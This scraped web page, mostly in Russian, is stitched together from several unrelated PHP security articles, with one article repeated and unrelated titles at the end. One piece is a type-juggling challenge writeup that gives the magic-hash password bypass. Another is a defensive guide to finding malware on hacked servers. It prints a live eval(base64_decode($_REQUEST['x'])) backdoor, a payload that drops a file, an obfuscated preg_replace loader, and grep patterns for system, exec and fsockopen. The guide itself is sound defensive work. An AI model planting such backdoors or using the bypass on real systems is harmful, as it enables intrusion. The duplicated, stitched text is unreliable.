Как найти уязвимость в php коде

Как находить уязвимости в коде на PHP?

Сегодня я наткнулся на вот этот пост Intigriti в Twitter:

Skillfactory.ru

«Мы только что написали потрясающий фрагмент кода, но… Наша команда разработки утверждает, что он небезопасен. Помогите нам найти уязвимости в коде!».

Сможете догадаться, в чем проблема в этом коде?

Введение

Это фрагмент кода PHP, который в хакерской среде считается очень популярным языком, имеющим довольно много проблем! Одна из таких важных проблем  —  манипуляции с типами. Кто-то называет это частью функционала PHP, другие видят в этих манипуляциях множество багов (но видение этой проблемы зависит от того, в каком ракурсе ее рассматривать).

Все дело в том, что в PHP при сравнении двух значений с помощью оператора == и выполнении «свободных» сравнений результаты бывают довольно неожиданными из-за того, что в языке отсутствует строгая типизация. То есть здесь нет понятия строки и целых чисел: типы в PHP определяются динамически на основе содержащегося в переменной значения. А выполняемые над ними операции чреваты преобразованиями типов.

В этой таблице проиллюстрировано то, что я имел в виду под свободными сравнениями, приводящими к неожиданным результатам:

Итак, в PHP:

1 == true

То есть 1 дает true.

И то же самое –1:

–1 == true

И тут самое время задуматься: «А как убедиться в том, что сравнения точны?».

Для этого в PHP есть оператор ===, с помощью которого сравнения проводятся так, как ожидалось.

Skillfactory.ru

В следующей таблице только записи, находящиеся на одной-единственной диагонали, дают true. Другие, не находящиеся на этой диагонали, дают false, свидетельствуя о том, что сравниваемые значения отличаются. И поэтому строгое их сравнение дает false.

Но достаточно теории. Посмотрим теперь, насколько уязвим был код, выложенный в Twitter!

Проблемы

Взглянем на код и обсудим потенциальные проблемы:

Итак, какие уязвимости есть у этого кода?

Манипуляции с типами? Верно!

Что-нибудь еще?

Использование хеша md5? Нет… Это проблема, но она не подразумевает никакой уязвимости.

Итак, манипуляции с типами и уязвимость. Имеется ли возможность ею воспользоваться и распечатать ветку недостижимого кода без взлома хеша md5?

Похоже, что да!

Решение

Чтобы пройти проверки и добраться до желаемого оператора печати, нужно передать admin, так как имя пользователя и пароль  —  все еще недостающая часть.

Так как же обойти эту проверку? Есть какие-нибудь идеи? Манипуляции с типами? Ну конечно же!

Задействуем манипуляции с типами, так как в коде выполняется свободное сравнение с использованием оператора ==.

Заметили, что там дальше с правой стороны от оператора? Дальше 0e?

0e обозначает экспоненциальное представление, которое имеет следующий вид:

0 * (10 , возведенное в степень числа после 0e) = 0 (ведь любое число, умноженное на ноль, равно нулю).

Поэтому, поработав с хешем md5 и приведя его к значению, также имеющему тип 0e с последующим числом, будем считать его числовым значением (экспоненциальным представлением), равным 0.

Я нашел статью, в которой говорилось о нескольких возможных значениях для пароля, приводящего к нужному нам хешу (0e с последующими числами):

Видите, какие значения надо взять? '240610708' и 'QNKCDZO'!

Я просто разместил фрагмент кода на сервере, использовав следующую команду:

php -S 127.0.0.1:8081

Затем попробовал оба возможных значения пароля (очевидно, понадобится больше значений из-за коллизий в MD5):

Логи сервера должны выглядеть так:

Заключение

PHP  —  это совершенно фантастический язык программирования для специалиста по анализу защищенности информационных систем. Так много возможностей столкнуться с трудностями нет ни в одном другом языке.

И самыми распространенными проблемами здесь являются манипулирование типами и путаница с порядком аргументов функций.

Читайте также:

  • Как подключить базу данных MySQL к сайту на PHP
  • Ключевое слово static в PHP
  • Java убьет ваш стартап. PHP спасёт его

Читайте нас в Telegram, VK и Яндекс.Дзен


Перевод статьи SecurityGOAT: Intigriti’s PHP challenge breakdown

Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.

Проверьте логи доступа

Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"

Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.

Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?

Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.

Выявление вредоносных PHP файлов

Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.
Подсказка: эти команды, выполняйте из корневой директории вашего сайта.

Поиск недавно измененных PHP файлов

Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.

find . -type f -name '*.php' -mtime -7

Мой взломанный сервер возвратил такие результаты:

./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php

Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.
Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данный период времени. Следующие методы являются гораздо более эффективными.

Искать все PHP файлы с подозрительным кодом

Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.

find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:

find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(
Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»
Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:

eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval(  str_rot13( base64_decode

Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *("

Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.
Наконец, вот не менее известный способ, что бы скрыть код:

preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'5b19fxq30jD8d/wp5C3tQoMx4CQ
 
FILE GOES ON FOR A LONG TIME......
 
lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'x29x29x29x3B",".");

preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.
x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28 переводится как eval ( gzinflate ( base64_decode (, а x29x29x29x3B, как )) ) ;

Эта команда поможет вам найти использование preg_replace:

find . -type f -name '*.php' | xargs egrep -i "preg_replace *((['|"])(.).*2[a-z]*e[^1]*1 *," --color

Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt

С любыми выше приведенными командами поиска можно поступить в том же духе.

Совет: обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:

echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );

Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.

find . -type f -name '*.php' | xargs grep -il x29

Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.

Констатируем факты

Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.

Для того чтобы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.

Для этого примера я буду использовать wordpress.

У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.

drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised

Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content

Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.
Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.

Вот результаты моего поиска:

diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
> 
> if (isset($_REQUEST['x'])) {
>     eval(base64_decode($_REQUEST['x']));
> }

Он обнаружил вредоносный код!

Из любопытства…

Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:

$payload = "file_put_contents("../../wp-content/uploads/wp-upload.php", "<?phpnphpinfo();");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=

Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.
Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.

Всегда ищите каталоги доступные для загрузки исполняемого кода

Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:

find wp-content/uploads -type f -name '*.php'

Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.

#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
    #echo $dir
    find $dir -type f -name '*.php'
done

Назовите файл search_for_php_in_writable и дайте ему права на исполнение

chmod +x search_for_php_in_writable

Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less

Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безопасно настроен, ваш сайт может оказаться не единственным подверженным атаке. Общая загрузка php shell на уязвимых сайтах, по существу является инструментом, который дает злоумышленнику файл-браузер. Они могут использовать этот инструмент, что бы загрузить атакующие скрипты по всем папкам на сервере доступных для записи, например каталог загрузки.
Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.

find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php

Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.

Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:

if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
    function shutdownCallback() {
        echo "<!--".md5("links")."-->";
    }
    register_shutdown_function("shutdownCallback");
}

Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.
Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.

Где еще может скрываться вредоносный код?

Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.

Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду

grep -i '<iframe' mywebsite.txt

Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!
Совет: используйте расширение firebug для firefox, чтобы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных

Возможно злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем использовать mysql или его производные.

Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.

Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.

Откройте PHPMyAdmin выберите базу данных и нажмите ‘Search’. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.

Проверьте .htaccess файлы, если вы используете Apache

Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные изменения.

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.

find . -type f -name '.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '.htaccess' | xargs grep -i auto_append_file;

Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат ‘http’. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.

find . -type f -name '.htaccess' | xargs grep -i http;

Некоторые вредоносные перенаправления базируются на основе user agent. Было бы не плохо поискать использования HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды можно легко изменить, просто поменяйте ключевое слово перед точкой запятой.

Для повышения уровня безопасности, если вы можете, отключите использование .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.

В «реальном мире»

Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:

Array
(
    [lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
    [eIHSE] => PNxsDhxNdV
    [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
    [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr
dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI+LXI8CD4tUUBNRls8CA==
 
    [GGhp] => a3ZAbFFTSlJSbFo=
    [AIQXa] => e3VWT2VvQ0hyS0ha
)

Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.

Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.

Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.

Заключение

Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.

Если вы работаете над шабашкой, все равно код нужно постоянно проверять, ведь не должно быть уязвимостей в библиотеках, которые вы используете.

PHP security vulnerabilities are a major cause for concern when it comes to web applications written in the PHP language since successful exploitation of such safety defects may lead to several regularly exploited attacks. Many vulnerabilities are usually not difficult to fix, but finding them in large codebases could be challenging without the right tools. So to find these major security flaws we need a powerful automated script. PHPvuln is an automated script developed in the Python language. PHPvuln tool checks or tests the massive list of PHP files for various types of vulnerabilities like LFI, XSS, IP Exposure, etc. At the parallel time, all the vulnerabilities are tested and a quick report is generated with the point of insertion of malicious query or the location of the file is been displayed. PHPvuln tool is open-source and free to use.

Note: Make Sure You have Python Installed on your System, as this is a python-based tool. Click to check the Installation process: Python Installation Steps on Linux

Installation of PHPvuln Tool on Kali Linux

Step 1: First, check whether the Python Environment is Established or not, use the following command.

python3

Step 2: Open up your Kali Linux terminal and move to Desktop using the following command.

cd Desktop

Step 3: You are on Desktop now create a new directory called PHPvuln using the following command. In this directory, we will complete the installation of the PHPvuln tool.

mkdir PHPvuln 

Step 4: Now switch to the PHPvuln directory using the following command.

cd PHPvuln 

Step 5: Now you have to install the tool. You have to clone the tool from Github.

git clone https://github.com/ecriminal/phpvuln.git

Step 6: The tool has been downloaded successfully in the PHPvuln directory. Now list out the contents of the tool by using the below command.

ls

Step 7: You can observe that there is a new directory created of the PHPvuln tool that has been generated while we were installing the tool. Now move to that directory using the below command:

cd phpvuln

Step 8: Once again to discover the contents of the tool, use the below command.

ls

Step 9: Download the required packages for running the tool, use the following command.

pip3 install -r requirements.txt

Step 10: Now we are done with our installation, Use the below command to view the help (gives a better understanding of the tool) index of the tool.

python3 phpvuln.py -h

Working with PHPvuln Tool on Kali Linux

Example 1: Vulnerability List

python3 phpvuln.py --list-vuln

In this example, We will be displaying the list of available vulnerabilities which can be tested on PHP files.

Example 2: Find Vulnerability

python3 phpvuln.py -p /home/kali/Desktop/bWAPP_latest/bWAPP/

1. In this example, We will be testing PHP files for vulnerabilities. In the below Screenshot, We have Buggy Software’s PHP files which we are going to test.

2. In the below Screenshot, We are specifying the path of PHP files which will be tested.

3. In the below Screenshot, We have got the vulnerabilities found on the PHP files which we have tested. We have got various types of vulnerabilities like XSS, IP Exposure, etc.

Example 3: Checking Specific Vulnerability 

python3 phpvuln.py -p /home/kali/Desktop/bWAPP_latest/bWAPP/ -v xss

1. In this example, We are going to test only the XSS vulnerability, as in the above example, the tool has tested all the vulnerabilities. We have used the -v tag to specify the type of vulnerability which only will be tested.

2. In the below Screenshot, We have got vulnerable files and the code snippet where the XSS Vulnerability is detected.

Last Updated :
14 Sep, 2021

Like Article

Save Article

Содержание

  1. Найдите в своем приложении PHP угрозу безопасности и оцените качество кода.
  2. 1  PMF
  3. 2  RIPS
  4. 3  SonarPHP
  5. 4  SensioLabs
  6. 5  Exakat
  7. 6  PHPStan
  8. 7  Psalm
  9. 8  Checkmarx
  10. 9  Progpilot
  11. 10  PHP Vulnerability Hunter
  12. 11  Grabber

Найдите в своем приложении PHP угрозу безопасности и оцените качество кода.

PHP управляет сетью с 80% доли рынка.

Он везде – WordPress, Joomla, Lavarel, Drupal и т. д

Ядро PHP безопасно, но есть намного больше его особеенностей, которые мы используем, и они могут быть уязвимыми.

После разработки сайта или сложного веб-приложения большинство разработчиков и владелец сайта сосредоточены на функциональности, дизайне, SEO и забывают о важном компоненте – безопасности.

В качестве наилучшей практики вам следует рассмотреть возможность проведения проверки безопасности  вашего приложения, прежде чем сосредоточиться на раскрутке.

Это относится к любым сайтам – маленьким или большим. Есть несколько инструментов, которые помогут вам в этом.

PMF

PHP Malware Finder (PMF) – это самостоятельное решение, помогающее вам находить в файлах вредоносные коды.

Известно, что он обнаруживает изворотливые dodgy, обфускаторы, код webshells.

PMF использует YARA, поэтому вам нужен он как предварительный вариант для запуска теста.

RIPS

RIPS – один из популярных инструментов анализа статического кода PHP, который можно интегрировать с помощью жизненного цикла разработки, чтобы найти проблемы безопасности в реальном времени.

Вы можете классифицировать поиск по отраслевым требованиям и стандартам, чтобы определить приоритеты исправлений.

  • OWASP Top 10
  • SANS Top 25
  • PCI-DSS
  • HIPPA

Давайте рассмотрим некоторые из его функций.

  • Определите риск, основанный на серьезности и значения, таких как критические, высокие, средние и низкие.
  • Сотрудничество с расследованием
  • Понять влияние уязвимости
  • Оцените риск безопасности между старым и новым кодом
  • Создайте список дел и назначьте задания, используя систему билетов

RIPS позволяет экспортировать отчет о результатах сканирования в несколько форматов – PDF, CSV и другие, используя API RESTful.

Он доступен как самостоятельная и SaaS-модель.

SonarPHP

SonarPHP от SonarSource использует сопоставление образцов, методы потока данных для поиска уязвимостей в кодах PHP.

Это статический анализатор кода и интегрируется с Eclipse, IntelliJ.

SonarSource проверяет код на более чем 140 правил, а также поддерживает пользовательские правила, написанные на Java.

SensioLabs

SensioLabs использует файл composer.lock для проверки известного рисков безопасности.

Checker доступен тремя способами:

  • Online – вы загружаете свой файл для выполнения теста
  • CLI – загрузить инструмент для его локального использования или интегрировать в жизненный цикл разработки
  • API – используйте веб-службу для проверки уязвимостей. Результаты доступны в текстовом формате и формате JSON.

Увлекательная статистика показывает, что 9% всех проверок имели одну или несколько известных уязвимостей.

Exakat

Механизм анализатора статического кода в реальном времени для проверки соответствия, рисков и усиления передового опыта.

Exakat имеет более 300 анализаторов, посвященных PHP.

Существуют специфические анализаторы, такие как WordPress, CakePHP, Zend и т.д.

Если у вас есть код приложения PHP в GitHub, вы можете использовать свой общедоступный анализатор, иначе вы можете загрузить или использовать онлайн-браузер на основе облачных вычислений.

С помощью Exakat вы можете интегрировать вечную безопасность в свое приложение и следующие моменты:

  • Обзор кода автоматизирован с более чем 100 правилами
  • Соответствие требованиям
  • Автоматизируйте свою документацию по коду
  • Перспектива миграции PHP 7

Благодаря надежной отчетности вы можете определить приоритетность восстановления.

PHPStan

PHPStan – фантастический инструмент для поиска ошибок при написании кода.

Вам не нужно ничего запускать.

Вы можете попробовать онлайн-версию здесь.

Для использования PHPStan требуется версия 7.1 или более поздней версии и композер.

Тем не менее, он способен обнаруживать ошибки из более старой версии.

Psalm

Это основанный на PHP Parser, может найти ошибки и помочь поддерживать разработку более безопасного приложения.

Checkmarx

Checkmarx, облачное решение для поиска уязвимостей в PHP-коде и рекомендации по их исправлению.

Каждая уязвимость объясняется, поэтому вы понимаете влияние угрозы на ваш продукт.

Progpilot

Статический анализатор Progpilot позволяет указать тип анализа, такой как GET, POST, COOKIE, SHELL_EXEC и т. д.

В настоящее время он поддерживает инфраструктуру suiteCRM и CodeIgniter.

10 PHP Vulnerability Hunter

Fuzzer для поиска уязвимостей с использованием статического и динамического анализа.

Этот охотник способен охотиться на следующее:

  • XSS
  • SQL injection
  • Произвольное чтение и выполнение команд
  • Включение локального файла
  • Полное раскрытие пути

Сканирование выполняется в три этапа – инициализация, сканирование и деинициализация

11 Grabber

Grabber, инструмент на основе python для выполнения гибридного анализа PHP-приложений с использованием PHP-SAT.

Сегодня я наткнулся на вот этот пост Intigriti в Twitter:

«Мы только что написали потрясающий фрагмент кода, но… Наша команда разработки утверждает, что он небезопасен. Помогите нам найти уязвимости в коде!».

Сможете догадаться, в чем проблема в этом коде?

Введение

Это фрагмент кода PHP, который в хакерской среде считается очень популярным языком, имеющим довольно много проблем! Одна из таких важных проблем  —  манипуляции с типами. Кто-то называет это частью функционала PHP, другие видят в этих манипуляциях множество багов (но видение этой проблемы зависит от того, в каком ракурсе ее рассматривать).

Все дело в том, что в PHP при сравнении двух значений с помощью оператора == и выполнении «свободных» сравнений результаты бывают довольно неожиданными из-за того, что в языке отсутствует строгая типизация. То есть здесь нет понятия строки и целых чисел: типы в PHP определяются динамически на основе содержащегося в переменной значения. А выполняемые над ними операции чреваты преобразованиями типов.

В этой таблице проиллюстрировано то, что я имел в виду под свободными сравнениями, приводящими к неожиданным результатам:

Итак, в PHP:

1 == true

То есть 1 дает true.

И то же самое –1:

–1 == true

И тут самое время задуматься: «А как убедиться в том, что сравнения точны?».

Для этого в PHP есть оператор ===, с помощью которого сравнения проводятся так, как ожидалось.

В следующей таблице только записи, находящиеся на одной-единственной диагонали, дают true. Другие, не находящиеся на этой диагонали, дают false, свидетельствуя о том, что сравниваемые значения отличаются. И поэтому строгое их сравнение дает false.

Но достаточно теории. Посмотрим теперь, насколько уязвим был код, выложенный в Twitter!

Проблемы

Взглянем на код и обсудим потенциальные проблемы:

Итак, какие уязвимости есть у этого кода?

Манипуляции с типами? Верно!

Что-нибудь еще?

Использование хеша md5? Нет… Это проблема, но она не подразумевает никакой уязвимости.

Итак, манипуляции с типами и уязвимость. Имеется ли возможность ею воспользоваться и распечатать ветку недостижимого кода без взлома хеша md5?

Похоже, что да!

Решение

Чтобы пройти проверки и добраться до желаемого оператора печати, нужно передать admin, так как имя пользователя и пароль  —  все еще недостающая часть.

Так как же обойти эту проверку? Есть какие-нибудь идеи? Манипуляции с типами? Ну конечно же!

Задействуем манипуляции с типами, так как в коде выполняется свободное сравнение с использованием оператора ==.

Заметили, что там дальше с правой стороны от оператора? Дальше 0e?

0e обозначает экспоненциальное представление, которое имеет следующий вид:

0 * (10 , возведенное в степень числа после 0e) = 0 (ведь любое число, умноженное на ноль, равно нулю).

Поэтому, поработав с хешем md5 и приведя его к значению, также имеющему тип 0e с последующим числом, будем считать его числовым значением (экспоненциальным представлением), равным 0.

Я нашел статью, в которой говорилось о нескольких возможных значениях для пароля, приводящего к нужному нам хешу (0e с последующими числами):

Видите, какие значения надо взять? '240610708' и 'QNKCDZO'!

Я просто разместил фрагмент кода на сервере, использовав следующую команду:

php -S 127.0.0.1:8081

Затем попробовал оба возможных значения пароля (очевидно, понадобится больше значений из-за коллизий в MD5):

Логи сервера должны выглядеть так:

Заключение

PHP  —  это совершенно фантастический язык программирования для специалиста по анализу защищенности информационных систем. Так много возможностей столкнуться с трудностями нет ни в одном другом языке.

И самыми распространенными проблемами здесь являются манипулирование типами и путаница с порядком аргументов функций.

Понравилась статья? Поделить с друзьями:
  • Как найти вес нетто формула
  • Как найти синоним к слову сильный
  • Очень долго загружается яндекс браузер в windows 7 как исправить
  • Как найти картинку для блога
  • Как найти запись с максимальным элементом